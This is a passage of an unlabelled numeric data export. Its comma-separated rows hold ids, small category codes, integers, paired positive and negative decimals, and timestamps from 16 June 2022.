+38735,1,11264,1.362816257,-1.362816257,2022-06-16 12:52:20.460787+00 +34312,6,10542,8.330581503,-8.330581503,2022-06-16 12:28:26.523648+00 +38736,1,11248,0.564547125,0,2022-06-16 12:52:20.462088+00 +38742,4,11211,12.53070067,-12.53070067,2022-06-16 12:52:23.187424+00 +36122,3,10814,10.5968794,-10.5968794,2022-06-16 12:38:04.002063+00 +36123,3,10751,10.65440075,-10.65440075,2022-06-16 12:38:04.007282+00 +37027,2,10990,5.138254127,-5.138254127,2022-06-16 12:43:05.002133+00 +34544,4,10424,8.299934545,-8.299934545,2022-06-16 12:29:35.924048+00 +56397,2,14318,2.355462836,-2.355462836,2022-06-16 14:27:05.236711+00 +34672,6,10606,8.180493896,-8.180493896,2022-06-16 12:30:06.846098+00 +32452,6,10189,12.944075,-12.944075,2022-06-16 12:18:30.330259+00 +31918,6,10111,7.022007412,-7.022007412,2022-06-16 12:15:33.504473+00 +42653,4,11801,12.18603254,-12.18603254,2022-06-16 13:11:05.784004+00 +48974,6,12971,2.855844526,-2.855844526,2022-06-16 13:46:41.290831+00 +37233,4,10992,0.625005035,0,2022-06-16 12:44:08.587105+00 +37234,4,11008,1.592751917,-1.592751917,2022-06-16 12:44:08.591291+00 +37235,4,11054,4.604579021,-4.604579021,2022-06-16 12:44:08.592229+00 +34962,6,10590,11.08665082,-11.08665082,2022-06-16 12:31:28.803032+00 +34997,6,10591,10.63688447,-10.63688447,2022-06-16 12:31:49.613582+00 +37236,4,11038,7.365376336,-7.365376336,2022-06-16 12:44:08.593055+00 +37237,4,11006,3.587466111,-3.587466111,2022-06-16 12:44:08.593916+00 +37238,4,11070,3.578280225,-3.578280225,2022-06-16 12:44:08.594847+00 +37259,4,10773,11.64669007,-11.64669007,2022-06-16 12:44:12.275176+00 +35200,6,10670,8.052564291,-8.052564291,2022-06-16 12:32:51.445855+00 +37283,1,11008,1.486167011,-1.486167011,2022-06-16 12:44:20.408517+00 +35235,2,10624,4.290793152,-4.290793152,2022-06-16 12:33:04.631045+00 +37284,1,10912,5.749540529,-5.749540529,2022-06-16 12:44:20.409667+00 +52591,4,13496,7.23276856,-7.23276856,2022-06-16 14:05:43.175083+00 +33144,1,10265,8.236669005,-8.236669005,2022-06-16 12:22:08.294452+00 +33145,1,10281,8.132073947,-8.132073947,2022-06-16 12:22:08.298125+00 +33146,1,10273,9.073537327,-9.073537327,2022-06-16 12:22:08.298971+00 +33147,1,10297,8.109994281,-8.109994281,2022-06-16 12:22:08.299805+00 +49143,4,12969,9.91208789,-9.91208789,2022-06-16 13:47:50.032617+00 +33220,4,10291,10.02165955,-10.02165955,2022-06-16 12:22:21.596727+00 +33221,4,10299,1.968003375,-1.968003375,2022-06-16 12:22:21.598023+00 +33222,4,10267,4.459545199,-4.459545199,2022-06-16 12:22:21.598915+00 +33223,4,10251,11.8360302,-11.8360302,2022-06-16 12:22:21.599696+00 +33238,3,10045,7.816795437,-7.816795437,2022-06-16 12:22:31.20606+00 +49144,4,12953,9.993153918,-9.993153918,2022-06-16 13:47:50.036137+00 +33288,2,10288,1.627564542,0,2022-06-16 12:23:04.549468+00 +49159,4,12984,7.419410199,-7.419410199,2022-06-16 13:47:59.199203+00 +33323,2,10366,4.564470452,-4.564470452,2022-06-16 12:23:05.286441+00 +43097,2,11935,8.225157318,-8.225157318,2022-06-16 13:13:05.143999+00 +52698,6,13677,0.792850685,-0.792850685,2022-06-16 14:06:17.564035+00 +37675,6,11102,10.95695123,-10.95695123,2022-06-16 12:46:32.56197+00 +35470,4,10718,7.218871074,-7.218871074,2022-06-16 12:34:07.558317+00 +35471,4,10654,7.19500528,-7.19500528,2022-06-16 12:34:07.562737+00 +35500,4,10751,3.584711406,-3.584711406,2022-06-16 12:34:13.134435+00 +35501,4,10719,6.714872726,-6.714872726,2022-06-16 12:34:13.135775+00 +35502,4,10655,6.694002498,-6.694002498,2022-06-16 12:34:13.136619+00 +37693,1,11041,9.443985036,-9.443985036,2022-06-16 12:46:38.41002+00 +35529,4,10711,14.90565293,-14.90565293,2022-06-16 12:34:19.592877+00 +35536,4,10635,12.22420553,-12.22420553,2022-06-16 12:34:22.931112+00 +37694,1,11049,7.20607578,-7.20607578,2022-06-16 12:46:38.411296+00 +35567,4,10643,7.526732808,-7.526732808,2022-06-16 12:34:31.687725+00 +33742,6,10399,10.84654288,-10.84654288,2022-06-16 12:25:17.424961+00 +37695,1,11065,7.19579868,-7.19579868,2022-06-16 12:46:38.412045+00 +35597,1,10682,15.3475215,-15.3475215,2022-06-16 12:34:47.386147+00 +35598,1,10650,15.2537782,-15.2537782,2022-06-16 12:34:47.388159+00 +37696,1,11033,7.274879422,-7.274879422,2022-06-16 12:46:38.412781+00 +52726,1,13653,11.0371278,-11.0371278,2022-06-16 14:06:23.811902+00 +35687,6,10643,13.83051098,-13.83051098,2022-06-16 12:35:09.046611+00 +40263,6,11515,3.370214113,-3.370214113,2022-06-16 13:00:08.435342+00 +40292,6,11242,7.526948114,-7.526948114,2022-06-16 13:00:17.182986+00 +43235,6,11981,11.71191435,-11.71191435,2022-06-16 13:14:04.382168+00 +33923,1,10427,3.389974828,-3.389974828,2022-06-16 12:26:08.331355+00 +33956,1,10477,3.997607314,-3.997607314,2022-06-16 12:26:17.299773+00 +33957,1,10461,10.74519185,-10.74519185,2022-06-16 12:26:17.301006+00 +33958,1,10493,4.118929687,-4.118929687,2022-06-16 12:26:17.302478+00 +40382,1,11541,12.77945251,-12.77945251,2022-06-16 13:00:32.515805+00 +37945,3,11183,11.8730807,-11.8730807,2022-06-16 12:48:05.759057+00 +40407,6,11475,13.56201185,-13.56201185,2022-06-16 13:00:46.196+00 +34019,6,10494,6.698949063,-6.698949063,2022-06-16 12:26:55.852014+00 +35840,7,10666,8.213094103,-8.213094103,2022-06-16 12:36:13.853222+00 +38026,1,11157,13.15888984,-13.15888984,2022-06-16 12:48:38.440209+00 +35868,1,10799,4.716474879,-4.716474879,2022-06-16 12:36:20.402091+00 +35869,1,10815,3.697173558,-3.697173558,2022-06-16 12:36:20.403568+00 +35888,6,10707,13.80033825,-13.80033825,2022-06-16 12:36:26.261431+00 +38027,1,11099,6.839830347,-6.839830347,2022-06-16 12:48:38.444513+00 +35903,1,10713,7.69497878,-7.69497878,2022-06-16 12:36:32.402441+00 +35904,1,10813,3.854085467,-3.854085467,2022-06-16 12:36:32.403855+00 +35905,1,10721,9.198262169,-9.198262169,2022-06-16 12:36:32.404765+00 +35906,1,10797,3.73634993,-3.73634993,2022-06-16 12:36:32.405711+00 +35907,1,10745,7.582660473,-7.582660473,2022-06-16 12:36:32.406587+00 +35908,1,10729,7.574581205,-7.574581205,2022-06-16 12:36:32.407538+00 +35922,6,10798,7.848117822,-7.848117822,2022-06-16 12:36:42.882914+00 +52727,1,13608,14.41281755,-14.41281755,2022-06-16 14:06:23.813238+00 +35939,6,10815,6.012518308,-6.012518308,2022-06-16 12:36:43.369211+00 +34252,1,10541,3.940097208,-3.940097208,2022-06-16 12:28:08.298895+00 +34253,1,10557,4.057065642,-4.057065642,2022-06-16 12:28:08.302163+00 +46540,2,12334,3.719013848,-3.719013848,2022-06-16 13:33:14.436206+00 +35972,1,10744,7.940025167,-7.940025167,2022-06-16 12:36:53.402505+00 +34301,2,10493,5.568374417,-5.568374417,2022-06-16 12:28:24.402233+00 +34314,6,10558,6.614773441,-6.614773441,2022-06-16 12:28:26.65123+00 +40585,3,11499,8.550483798,-8.550483798,2022-06-16 13:01:50.518173+00 +34326,1,10457,8.059725406,-8.059725406,2022-06-16 12:28:32.297207+00 +34327,1,10473,7.957251436,-7.957251436,2022-06-16 12:28:32.298416+00 +34328,1,10465,8.88315843,-8.88315843,2022-06-16 12:28:32.299255+00 +34329,1,10489,7.936071138,-7.936071138,2022-06-16 12:28:32.300042+00 +46541,2,12398,3.708635133,-3.708635133,2022-06-16 13:33:14.439253+00 +40624,6,11498,7.359509694,-7.359509694,2022-06-16 13:01:54.871829+00 +36029,4,10729,14.64357662,-14.64357662,2022-06-16 12:37:07.187263+00 +34366,1,10472,16.51849191,-16.51849191,2022-06-16 12:28:35.296683+00 +36030,4,10713,14.73529146,-14.73529146,2022-06-16 12:37:07.190559+00 +46542,2,12462,3.698298161,-3.698298161,2022-06-16 13:33:14.440081+00 +34388,6,10491,4.152706839,-4.152706839,2022-06-16 12:28:38.563738+00 +46543,2,12526,3.688002688,-3.688002688,2022-06-16 13:33:14.440825+00 +40710,4,11581,2.524054889,-2.524054889,2022-06-16 13:02:12.510755+00 +38424,2,11184,1.681878718,0,2022-06-16 12:51:04.652914+00 +40711,4,11549,8.291575845,-8.291575845,2022-06-16 13:02:12.511947+00 +38458,2,11263,3.812991039,-3.812991039,2022-06-16 12:51:05.481012+00 +40712,4,11565,2.445501245,-2.445501245,2022-06-16 13:02:12.512722+00 +36124,3,10815,10.58406774,-10.58406774,2022-06-16 12:38:04.008564+00 +36125,3,10879,10.51432074,-10.51432074,2022-06-16 12:38:04.009554+00 +40713,4,11533,14.4755956,-14.4755956,2022-06-16 13:02:12.513503+00 +36135,6,10861,2.292048887,-2.292048887,2022-06-16 12:38:04.618123+00 +38513,1,11192,7.46541958,-7.46541958,2022-06-16 12:51:20.484012+00 +40714,4,11647,2.760540149,-2.760540149,2022-06-16 13:02:12.514337+00 +40715,4,11631,3.547125331,-3.547125331,2022-06-16 13:02:12.515164+00 +36183,4,10709,11.97078183,-11.97078183,2022-06-16 12:38:13.687165+00 +40716,4,11551,6.608865065,-6.608865065,2022-06-16 13:02:12.515863+00 +40717,4,11615,6.589033769,-6.589033769,2022-06-16 13:02:12.516515+00 +46544,2,12590,3.677748469,-3.677748469,2022-06-16 13:33:14.441563+00 +38657,3,11310,11.75086285,-11.75086285,2022-06-16 12:52:06.757583+00 +52823,2,13632,3.577737528,-3.577737528,2022-06-16 14:07:05.425758+00 +31919,4,9944,9.387790025,-9.387790025,2022-06-16 12:15:38.603708+00 +39656,2,11439,4.651504727,-4.651504727,2022-06-16 12:57:05.671823+00 +34545,1,10203,7.489111983,-7.489111983,2022-06-16 12:29:38.324979+00 +34546,1,10331,7.463557086,-7.463557086,2022-06-16 12:29:38.328447+00 +34547,1,10459,7.43813727,-7.43813727,2022-06-16 12:29:38.329291+00 +32453,3,9917,7.94499424,-7.94499424,2022-06-16 12:18:30.559094+00 +34548,1,10483,14.79288751,-14.79288751,2022-06-16 12:29:38.330027+00 +34549,1,10227,14.73500399,-14.73500399,2022-06-16 12:29:38.330799+00 +34550,1,10291,14.67738918,-14.67738918,2022-06-16 12:29:38.331556+00 +34551,1,10211,21.84647725,-21.84647725,2022-06-16 12:29:38.332738+00 +34552,1,10395,7.32634065,-7.32634065,2022-06-16 12:29:38.333439+00 +34553,1,10419,14.56535795,-14.56535795,2022-06-16 12:29:38.334049+00 +34554,1,10267,7.282858635,-7.282858635,2022-06-16 12:29:38.334672+00 +34555,1,10355,14.49499207,-14.49499207,2022-06-16 12:29:38.335294+00 +39684,1,11352,8.066326432,-8.066326432,2022-06-16 12:57:14.463718+00 +63935,4,15287,10.65822537,-10.65822537,2022-06-16 14:56:59.971198+00 +52592,4,13545,8.909822192,-8.909822192,2022-06-16 14:05:47.094694+00 +34826,1,10623,3.83853212,-3.83853212,2022-06-16 12:30:50.378045+00 +34827,1,10591,7.000519402,-7.000519402,2022-06-16 12:30:50.381317+00 +33043,3,10287,13.86487731,-13.86487731,2022-06-16 12:21:59.343028+00 +31939,3,10096,2.649017213,0,2022-06-16 12:15:45.01672+00 +34828,1,10607,4.907841394,-4.907841394,2022-06-16 12:30:50.382177+00 +49067,2,12971,4.378540481,-4.378540481,2022-06-16 13:47:14.608681+00 +49068,2,12953,12.68939626,-12.68939626,2022-06-16 13:47:14.61195+00 +46031,4,12347,1.162186922,-1.162186922,2022-06-16 13:29:50.378928+00 +46032,4,12411,1.160692344,-1.160692344,2022-06-16 13:29:50.382668+00 +31945,3,10112,7.104088864,-7.104088864,2022-06-16 12:15:56.095341+00 +49145,4,12977,10.82682622,-10.82682622,2022-06-16 13:47:57.960891+00 +52593,4,13529,8.985069628,-8.985069628,2022-06-16 14:05:47.098137+00 +52594,4,13553,9.635959396,-9.635959396,2022-06-16 14:05:54.979966+00 +52657,4,13662,5.216719068,-5.216719068,2022-06-16 14:06:09.242235+00 +40264,4,11504,0.619373094,0,2022-06-16 13:00:08.880457+00 +33417,6,10335,10.96045123,-10.96045123,2022-06-16 12:23:39.711757+00 +40265,4,11582,3.054297677,-3.054297677,2022-06-16 13:00:08.884126+00 +35271,2,10687,4.398818217,-4.398818217,2022-06-16 12:33:05.512302+00 +40266,4,11520,1.415534254,-1.415534254,2022-06-16 13:00:08.88501+00 +40267,4,11566,3.923864348,-3.923864348,2022-06-16 13:00:08.886092+00 +40268,4,11550,6.963322988,-6.963322988,2022-06-16 13:00:08.887165+00 +33580,3,10430,11.27812192,-11.27812192,2022-06-16 12:24:21.571379+00 +35392,3,10603,10.22095504,-10.22095504,2022-06-16 12:33:48.596876+00 +38028,2,11178,5.329033606,-5.329033606,2022-06-16 12:48:39.777036+00 +52658,4,13678,2.016941722,-2.016941722,2022-06-16 14:06:09.243389+00 +35472,3,10670,13.09429257,-13.09429257,2022-06-16 12:34:07.650314+00 +43474,6,11989,7.972337126,-7.972337126,2022-06-16 13:14:55.67131+00 +46546,2,12335,3.739725309,-3.739725309,2022-06-16 13:33:14.469017+00 +46547,2,12399,3.729305567,-3.729305567,2022-06-16 13:33:14.47188+00 +35589,6,10701,12.57428059,-12.57428059,2022-06-16 12:34:44.992493+00 +35622,2,10672,1.646083312,0,2022-06-16 12:35:04.671811+00 +46548,2,12463,3.718927804,-3.718927804,2022-06-16 13:33:14.472677+00 +46549,2,12527,3.708591773,-3.708591773,2022-06-16 13:33:14.473453+00 +46550,2,12591,3.698297231,-3.698297231,2022-06-16 13:33:14.474188+00 +38349,2,11197,5.164644162,-5.164644162,2022-06-16 12:50:24.521951+00 +43786,4,12010,6.685120198,-6.685120198,2022-06-16 13:16:17.319933+00 +33924,4,10416,0.633815724,0,2022-06-16 12:26:09.055755+00 +33925,4,10432,1.853267203,-1.853267203,2022-06-16 12:26:09.059536+00 +33926,4,10478,5.267711615,-5.267711615,2022-06-16 12:26:09.060448+00 +33927,4,10494,4.103149336,-4.103149336,2022-06-16 12:26:09.061319+00 +33928,4,10462,7.363355146,-7.363355146,2022-06-16 12:26:09.062084+00 +33929,4,10360,8.307656721,-8.307656721,2022-06-16 12:26:09.062873+00 +43804,4,11960,7.734657354,-7.734657354,2022-06-16 13:16:21.927701+00 +46551,2,12606,2.925643862,-2.925643862,2022-06-16 13:33:14.474926+00 +49490,6,13051,2.653952608,-2.653952608,2022-06-16 13:49:16.633141+00 +40810,6,11645,1.848043319,-1.848043319,2022-06-16 13:02:45.263357+00 +46616,6,12607,4.113473953,-4.113473953,2022-06-16 13:33:26.910192+00 +43980,2,12027,4.349725467,-4.349725467,2022-06-16 13:17:14.58257+00 +52685,4,13525,7.768286284,-7.768286284,2022-06-16 14:06:13.459887+00 +49621,6,13104,2.035985848,0,2022-06-16 13:50:17.409058+00 +49684,1,13115,1.450924874,-1.450924874,2022-06-16 13:50:29.761789+00 +46870,6,12522,6.061084168,-6.061084168,2022-06-16 13:35:04.138442+00 +34138,4,10411,2.22408882,-2.22408882,2022-06-16 12:27:20.638369+00 +49685,1,13098,3.042295045,-3.042295045,2022-06-16 13:50:29.763471+00 +44235,1,12159,2.755824806,-2.755824806,2022-06-16 13:18:29.642822+00 +49686,1,13099,1.534874179,-1.534874179,2022-06-16 13:50:29.764461+00 +44343,2,12158,3.206180049,-3.206180049,2022-06-16 13:19:09.660421+00 +52686,4,13589,7.744710527,-7.744710527,2022-06-16 14:06:13.461087+00 +36044,2,10747,5.392370842,-5.392370842,2022-06-16 12:37:14.567767+00 +52699,4,13655,12.73809234,-12.73809234,2022-06-16 14:06:18.251747+00 +47089,3,12719,9.021426154,-9.021426154,2022-06-16 13:36:05.968123+00 +38872,2,11243,5.651078748,-5.651078748,2022-06-16 12:53:14.45109+00 +34254,4,10526,7.3084748,-7.3084748,2022-06-16 12:28:08.914999+00 +34272,2,10477,5.418259962,-5.418259962,2022-06-16 12:28:14.421297+00 +52702,4,13694,1.543642763,-1.543642763,2022-06-16 14:06:19.813662+00 +52703,4,13695,1.454745997,-1.454745997,2022-06-16 14:06:19.814877+00 +47218,4,12512,5.965861332,-5.965861332,2022-06-16 13:37:01.581106+00 +41326,3,11696,2.664296385,0,2022-06-16 13:05:05.227838+00 +34335,6,10526,11.14968424,-11.14968424,2022-06-16 12:28:32.833084+00 +63964,7,15216,12.16853361,0,2022-06-16 14:57:03.355987+00 +52734,1,13693,2.844991793,-2.844991793,2022-06-16 14:06:29.813673+00 +52735,1,13677,1.629226181,-1.629226181,2022-06-16 14:06:29.815061+00 +50051,6,13214,9.839534746,-9.839534746,2022-06-16 13:52:25.2182+00 +32009,4,10096,0.638268453,0,2022-06-16 12:16:08.026036+00 +32010,4,10112,1.914549009,-1.914549009,2022-06-16 12:16:08.029423+00 +32011,4,10174,4.515209764,-4.515209764,2022-06-16 12:16:08.030279+00 +32012,1,10174,4.186495198,-4.186495198,2022-06-16 12:16:08.302099+00 +32013,4,10109,4.085985729,-4.085985729,2022-06-16 12:16:09.992277+00 +32014,4,10093,3.968507246,-3.968507246,2022-06-16 12:16:09.995748+00 +32015,4,10061,16.07958423,-16.07958423,2022-06-16 12:16:11.471044+00 +32016,4,10175,4.253904836,-4.253904836,2022-06-16 12:16:11.474491+00 +34391,6,10541,2.486293005,-2.486293005,2022-06-16 12:28:42.468356+00 +32018,6,10125,13.01557803,-13.01557803,2022-06-16 12:16:12.582526+00 +32019,4,10142,7.539826542,-7.539826542,2022-06-16 12:16:13.373602+00 +32020,4,10143,7.214112168,-7.214112168,2022-06-16 12:16:13.376746+00 +32021,4,10167,11.90294743,-11.90294743,2022-06-16 12:16:13.377762+00 +52736,1,13661,8.925014954,-8.925014954,2022-06-16 14:06:29.815764+00 +44813,3,12206,10.29549714,-10.29549714,2022-06-16 13:22:08.05638+00 +36201,2,10813,5.387681987,-5.387681987,2022-06-16 12:38:19.566454+00 +52763,1,13628,12.04847621,-12.04847621,2022-06-16 14:06:32.811798+00 +32026,2,10093,5.594673322,-5.594673322,2022-06-16 12:16:14.438306+00 +52764,1,13612,12.31727189,-12.31727189,2022-06-16 14:06:32.812848+00 +41499,3,11710,9.145757297,-9.145757297,2022-06-16 13:06:04.836965+00 +52765,1,13609,4.698927944,-4.698927944,2022-06-16 14:06:32.813515+00 +52766,1,13617,5.168420243,-5.168420243,2022-06-16 14:06:32.814151+00 +32031,1,10104,8.538645909,-8.538645909,2022-06-16 12:16:17.263933+00 +32032,1,10072,9.450762362,-9.450762362,2022-06-16 12:16:17.267139+00 +52767,1,13593,4.746437298,-4.746437298,2022-06-16 14:06:32.814787+00 +32034,6,10133,10.58829411,-10.58829411,2022-06-16 12:16:17.551563+00 +32035,4,10135,15.26764244,-15.26764244,2022-06-16 12:16:19.339546+00 +32036,4,10166,11.9003626,-11.9003626,2022-06-16 12:16:19.342972+00 +32037,1,10157,4.268020929,-4.268020929,2022-06-16 12:16:20.268076+00 +32038,1,10173,4.397854344,-4.397854344,2022-06-16 12:16:20.271392+00 +32039,4,10099,10.10303962,-10.10303962,2022-06-16 12:16:20.954934+00 +32040,4,10075,4.476863638,-4.476863638,2022-06-16 12:16:20.956202+00 +32041,4,10107,2.125439653,-2.125439653,2022-06-16 12:16:20.956981+00 +32042,4,10059,12.04317604,-12.04317604,2022-06-16 12:16:20.957745+00 +39657,1,11314,13.61117265,-13.61117265,2022-06-16 12:57:08.500134+00 +34556,1,10275,21.70063241,-21.70063241,2022-06-16 12:29:44.323566+00 +34557,1,10339,21.63080153,-21.63080153,2022-06-16 12:29:44.326957+00 +34558,1,10467,21.56103189,-21.56103189,2022-06-16 12:29:44.327953+00 +32454,3,9901,7.737256846,-7.737256846,2022-06-16 12:18:31.810382+00 +34559,1,10403,21.49132687,-21.49132687,2022-06-16 12:29:44.32887+00 +39658,1,11378,13.55308191,-13.55308191,2022-06-16 12:57:08.503441+00 +52494,2,13631,2.324227257,-2.324227257,2022-06-16 14:05:05.922453+00 +45746,3,12414,8.403023415,-8.403023415,2022-06-16 13:28:04.861382+00 +42740,2,11819,5.154792837,-5.154792837,2022-06-16 13:11:14.408552+00 +39860,3,11438,11.53569741,-11.53569741,2022-06-16 12:58:07.133611+00 +39861,3,11502,11.46031368,-11.46031368,2022-06-16 12:58:07.13717+00 +45747,3,12478,8.344922424,-8.344922424,2022-06-16 13:28:04.865545+00 +48977,6,12987,2.685705789,-2.685705789,2022-06-16 13:46:41.445359+00 +32906,1,10200,9.265963918,-9.265963918,2022-06-16 12:20:59.272972+00 +32907,1,10232,8.377522864,-8.377522864,2022-06-16 12:20:59.27627+00 +52495,2,13545,11.13244188,-11.13244188,2022-06-16 14:05:05.926107+00 +43018,6,11933,6.196229939,-6.196229939,2022-06-16 13:12:39.452211+00 +37736,2,11135,3.933910659,-3.933910659,2022-06-16 12:47:05.035984+00 +52595,1,13560,5.742947718,-5.742947718,2022-06-16 14:05:56.813543+00 +35149,6,10608,1.866850987,0,2022-06-16 12:32:28.144595+00 +33108,7,10032,8.374632258,0,2022-06-16 12:22:05.057671+00 +33110,7,10096,8.337182445,0,2022-06-16 12:22:05.061822+00 +33111,7,10160,8.300210329,0,2022-06-16 12:22:05.065297+00 +33112,7,10224,8.263704922,0,2022-06-16 12:22:05.06684+00 +33113,7,10288,8.227655613,0,2022-06-16 12:22:05.067921+00 +52596,3,13630,7.087510465,-7.087510465,2022-06-16 14:06:04.085713+00 +52597,3,13694,7.032391421,-7.032391421,2022-06-16 14:06:04.087084+00 +33215,4,10127,16.67532389,-16.67532389,2022-06-16 12:22:19.440397+00 +33235,1,10299,3.441357859,-3.441357859,2022-06-16 12:22:29.293905+00 +33246,1,10280,16.74448129,-16.74448129,2022-06-16 12:22:32.321839+00 +33260,1,10351,5.248107813,-5.248107813,2022-06-16 12:22:35.294715+00 +33261,1,10358,11.25102856,-11.25102856,2022-06-16 12:22:35.295815+00 +33262,1,10334,6.897494039,-6.897494039,2022-06-16 12:22:35.296724+00 +33263,1,10350,5.00926652,-5.00926652,2022-06-16 12:22:35.297559+00 +33264,1,10326,15.19708958,-15.19708958,2022-06-16 12:22:35.298401+00 +33265,1,10335,7.139073143,-7.139073143,2022-06-16 12:22:35.299309+00 +33266,1,10366,3.866086561,-3.866086561,2022-06-16 12:22:35.300104+00 +46213,6,12480,4.053557417,-4.053557417,2022-06-16 13:30:48.508599+00 +33326,2,10367,4.729760427,-4.729760427,2022-06-16 12:23:05.338221+00 +33358,4,10282,8.845490446,-8.845490446,2022-06-16 12:23:15.917957+00 +52701,6,13693,1.400271963,-1.400271963,2022-06-16 14:06:19.467511+00 +35335,6,10671,7.714656044,-7.714656044,2022-06-16 12:33:27.48626+00 +38029,1,11136,1.416679941,-1.416679941,2022-06-16 12:48:41.437153+00 +38030,1,11107,21.11074716,-21.11074716,2022-06-16 12:48:41.440458+00 +38031,1,11120,0.570705114,0,2022-06-16 12:48:41.441289+00 +38032,1,11123,13.5755178,-13.5755178,2022-06-16 12:48:41.44204+00 +38073,2,11183,4.945573181,-4.945573181,2022-06-16 12:49:05.024813+00 +43538,2,12031,3.227048473,-3.227048473,2022-06-16 13:15:05.508322+00 +49553,3,13118,7.605690479,-7.605690479,2022-06-16 13:50:05.208144+00 +35541,6,10688,4.793148578,-4.793148578,2022-06-16 12:34:24.181642+00 +33695,2,10398,7.92844664,-7.92844664,2022-06-16 12:25:04.730814+00 +35568,3,10429,7.428419773,-7.428419773,2022-06-16 12:34:32.769889+00 +33721,2,10430,4.499579254,-4.499579254,2022-06-16 12:25:05.297413+00 +46553,2,12350,2.917831579,-2.917831579,2022-06-16 13:33:14.502591+00 +46554,2,12414,2.910046227,-2.910046227,2022-06-16 13:33:14.505365+00 +33766,6,10431,6.529844913,-6.529844913,2022-06-16 12:25:18.379511+00 +46555,2,12478,2.902287658,-2.902287658,2022-06-16 13:33:14.506162+00 +35651,6,10735,7.631939953,-7.631939953,2022-06-16 12:35:05.968785+00 +46556,2,12542,2.894555723,-2.894555723,2022-06-16 13:33:14.506965+00 +38287,4,11200,1.532191018,-1.532191018,2022-06-16 12:50:08.333558+00 +38288,4,11184,0.624418254,0,2022-06-16 12:50:08.336705+00 +38289,4,11262,3.334211403,-3.334211403,2022-06-16 12:50:08.33752+00 +38290,4,11246,4.2791988,-4.2791988,2022-06-16 12:50:08.338292+00 +35778,3,10667,10.09088484,-10.09088484,2022-06-16 12:35:55.015743+00 +33930,4,10429,3.689573019,-3.689573019,2022-06-16 12:26:10.753772+00 +33931,4,10381,15.72932759,-15.72932759,2022-06-16 12:26:10.757323+00 +33932,4,10397,9.813435657,-9.813435657,2022-06-16 12:26:10.758216+00 +33933,4,10413,3.557241785,-3.557241785,2022-06-16 12:26:10.759029+00 +38291,4,11230,7.127813178,-7.127813178,2022-06-16 12:50:08.339194+00 +35815,3,10735,13.007867,-13.007867,2022-06-16 12:36:05.022949+00 +35816,3,10799,12.92348878,-12.92348878,2022-06-16 12:36:05.026145+00 +38316,1,11261,3.507100646,-3.507100646,2022-06-16 12:50:17.412748+00 +35842,4,10743,11.69405679,-11.69405679,2022-06-16 12:36:14.349064+00 +38317,1,11161,7.154685449,-7.154685449,2022-06-16 12:50:17.414012+00 +34074,2,10463,8.0407474,-8.0407474,2022-06-16 12:27:04.819317+00 +35872,4,10739,9.834910539,-9.834910539,2022-06-16 12:36:21.253774+00 +35873,4,10747,1.757565761,-1.757565761,2022-06-16 12:36:21.255092+00 +35874,4,10731,2.033241575,-2.033241575,2022-06-16 12:36:21.255904+00 +35875,4,10699,12.25381051,-12.25381051,2022-06-16 12:36:21.256704+00 +35876,4,10715,4.420086025,-4.420086025,2022-06-16 12:36:21.257536+00 +38318,1,11245,3.404916705,-3.404916705,2022-06-16 12:50:17.415003+00 +38319,1,11177,7.062048157,-7.062048157,2022-06-16 12:50:17.415708+00 +38320,1,11193,7.052121606,-7.052121606,2022-06-16 12:50:17.4163+00 +38321,1,11169,9.499237138,-9.499237138,2022-06-16 12:50:17.41688+00 +52824,2,13593,11.14522794,-11.14522794,2022-06-16 14:07:05.429185+00 +38350,1,11221,13.05677681,-13.05677681,2022-06-16 12:50:29.43779+00 +40754,6,11568,1.924625278,0,2022-06-16 13:02:24.112405+00 +36002,2,10752,4.202878456,-4.202878456,2022-06-16 12:37:04.632777+00 +40777,3,11309,6.4793728,-6.4793728,2022-06-16 13:02:32.477034+00 +40811,2,11626,4.821853265,-4.821853265,2022-06-16 13:02:52.044089+00 +52825,2,13594,11.09111996,-11.09111996,2022-06-16 14:07:05.430024+00 +52826,2,13617,11.86940048,-11.86940048,2022-06-16 14:07:05.430809+00 +52827,2,13618,11.3618949,-11.3618949,2022-06-16 14:07:05.431624+00 +36070,4,10730,8.233189386,-8.233189386,2022-06-16 12:37:28.085552+00 +52915,4,13624,7.195505252,-7.195505252,2022-06-16 14:07:19.95424+00 +44239,3,11837,6.509818259,-6.509818259,2022-06-16 13:18:37.474035+00 +56735,3,14315,4.60590166,-4.60590166,2022-06-16 14:28:45.466559+00 +50114,3,13168,2.713638432,0,2022-06-16 13:53:02.742848+00 +41089,3,11647,8.957924516,-8.957924516,2022-06-16 13:04:06.043898+00 +38764,6,11285,8.852681285,-8.852681285,2022-06-16 12:52:33.124652+00 +41090,3,11711,8.899594534,-8.899594534,2022-06-16 13:04:06.0476+00 +41139,7,11562,7.163040043,-7.163040043,2022-06-16 13:04:11.875716+00 +64417,6,15210,3.577381573,-3.577381573,2022-06-16 14:58:27.35868+00 +47159,2,12653,4.042071395,-4.042071395,2022-06-16 13:36:24.468932+00 +50170,2,13145,12.12866789,-12.12866789,2022-06-16 13:53:09.469642+00 +50171,2,12890,11.90960559,-11.90960559,2022-06-16 13:53:09.47329+00 +47260,2,12734,2.835990058,-2.835990058,2022-06-16 13:37:05.594034+00 +41282,6,11695,6.228261701,-6.228261701,2022-06-16 13:04:58.395047+00 +36260,1,10845,10.50347938,-10.50347938,2022-06-16 12:38:29.426782+00 +50172,2,13082,11.86146821,-11.86146821,2022-06-16 13:53:09.474144+00 +50173,2,13146,11.81359808,-11.81359808,2022-06-16 13:53:09.474965+00 +52496,1,13523,7.815243162,-7.815243162,2022-06-16 14:05:08.813415+00 +34560,4,10488,8.275257797,-8.275257797,2022-06-16 12:29:44.759403+00 +48981,6,13005,11.10824783,-11.10824783,2022-06-16 13:46:42.152638+00 +37173,6,11008,4.560530273,-4.560530273,2022-06-16 12:44:03.394791+00 +32460,1,10152,16.84369713,-16.84369713,2022-06-16 12:18:35.272966+00 +32048,6,10142,11.57192469,-11.57192469,2022-06-16 12:16:22.748368+00 +32072,4,10158,5.741953606,-5.741953606,2022-06-16 12:16:28.640412+00 +32073,4,10067,7.913284476,-7.913284476,2022-06-16 12:16:28.641978+00 +32074,4,10134,16.10636122,-16.10636122,2022-06-16 12:16:28.643243+00 +32087,1,10088,16.86892115,-16.86892115,2022-06-16 12:16:32.240482+00 +60074,6,14830,2.245263452,-2.245263452,2022-06-16 14:42:39.733306+00 +34830,6,10581,9.829216299,-9.829216299,2022-06-16 12:30:53.269477+00 +37332,3,11072,6.142271489,-6.142271489,2022-06-16 12:44:48.14349+00 +37360,1,10970,14.56351076,-14.56351076,2022-06-16 12:44:53.408199+00 +37361,1,11002,14.66643972,-14.66643972,2022-06-16 12:44:53.409751+00 +32751,3,10286,13.79472143,-13.79472143,2022-06-16 12:20:06.786282+00 +37362,1,11037,10.4710587,-10.4710587,2022-06-16 